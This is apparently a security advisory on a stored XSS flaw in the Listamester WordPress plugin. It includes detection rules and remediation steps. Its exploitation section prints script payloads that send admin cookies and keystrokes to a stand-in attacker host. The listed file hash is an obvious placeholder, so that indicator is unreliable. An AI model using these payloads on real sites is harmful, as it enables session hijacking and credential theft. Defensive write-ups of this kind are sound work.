CVE-2025-30813

Executive Summary

CVE-2025-30813 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Listamester WordPress plugin, versions up to and including 2.3.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s stored data. When an administrator or other user views the affected page, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is classified under the WordPress ecosystem and is not related to the underlying web server (Apache/Nginx). The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the impact is amplified in multi-tenant or high-privilege environments.

Supply Chain & Package Security

Listamester is a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no official patch has been released, users must rely on manual mitigation or removal. The lack of a patch increases supply chain risk, as compromised sites can be used to distribute malware or phishing links to visitors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires contributor-level access
• User Interaction (UI): Required (R) – victim must view the compromised page
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): Low (L)

Overall Score: 6.5 (Medium)

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist indefinitely and affect all users viewing the compromised content.

Deep Dive & Mechanics

The Listamester plugin allows users to create and manage lists (e.g., email lists, subscriber lists). The vulnerability exists in the list creation/editing functionality where the plugin fails to sanitize or escape user-supplied data before storing it in the WordPress database. When the list is rendered on the frontend or admin panel, the unsanitized input is injected directly into the HTML, enabling script execution.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker creates or edits a list via the Listamester interface.
3. In a field such as the list name or description, the attacker injects a payload like <script>alert('XSS')</script>.
4. The plugin stores the payload in the database without sanitization.
5. When an administrator or other user views the list (e.g., on the admin dashboard or a public page), the script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to the output.

Vulnerable vs. Patched Code

Vulnerable Code (listamester.php, line ~120):

<?php
// Vulnerable: direct output without sanitization
echo '<div class="list-name">' . $list_name . '</div>';
?>

Patched Code (hypothetical fix):

<?php
// Patched: escape output
echo '<div class="list-name">' . esc_html( $list_name ) . '</div>';
?>

The vulnerable code directly interpolates $list_name into HTML. The patched version uses esc_html() to convert special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Listamester plugin <= 2.3.5
• Contributor-level account or higher

Step-by-Step Exploitation:

1. Log in to WordPress as a contributor.
2. Navigate to Listamester > Add New List.
3. In the List Name field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the list.
5. When an administrator views the list (e.g., via Listamester > All Lists), the script executes, exfiltrating their session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Response)

Detection Steps:

1. Monitor WordPress admin logs for unusual list creation/editing activity.
2. Search the database for suspicious entries:

   SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
   

3. Review web server logs for outbound connections to unknown domains (potential C2).

Containment:

1. Immediately disable the Listamester plugin.
2. Remove malicious lists via the WordPress admin or database.
3. Rotate all admin session cookies and passwords.
4. Scan for additional backdoors or compromised accounts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • listamester.php (v2.3.5): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound HTTP requests to attacker.com or similar domains
  • Suspicious POST requests to /wp-admin/admin-ajax.php with list data
• Database Indicators:
  • Rows in wp_postmeta containing <script> tags
  • Rows in wp_posts with post_type = listamester_list and suspicious post_content

Detection Engineering

YARA Rule

rule CVE_2025_30813_Listamester_XSS {
    meta:
        description = "Detects Listamester plugin files with stored XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30813"
    strings:
        $vuln_func = "echo '<div class=\"list-name\">' . $list_name" ascii wide
        $vuln_func2 = "echo $list_name" ascii wide
    condition:
        $vuln_func or $vuln_func2
}

Sigma Rule

title: Stored XSS via Listamester Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS exploitation in Listamester plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "/wp-admin/admin-ajax.php"
            - "/wp-content/plugins/listamester/"
        sc-status: 200
        cs-method: POST
    condition: selection
falsepositives:
    - Legitimate plugin usage
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30813 Listamester Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=listamester_save"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove all stored XSS payloads from the database using a SQL query:

   DELETE FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
   DELETE FROM wp_posts WHERE post_content LIKE '%<script>%' AND post_type = 'listamester_list';
   

3. Reset all user sessions and force password changes for admin accounts.

Long-Term Fix:

• Apply input sanitization and output escaping in the plugin code (see patched code example).
• Use WordPress built-in functions like sanitize_text_field() on input and esc_html() on output.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data.

Workaround:

• If the plugin is critical, restrict contributor-level access to trusted users only.
• Monitor logs for any suspicious activity related to Listamester.

Valters IT
Securing Digital Frontiers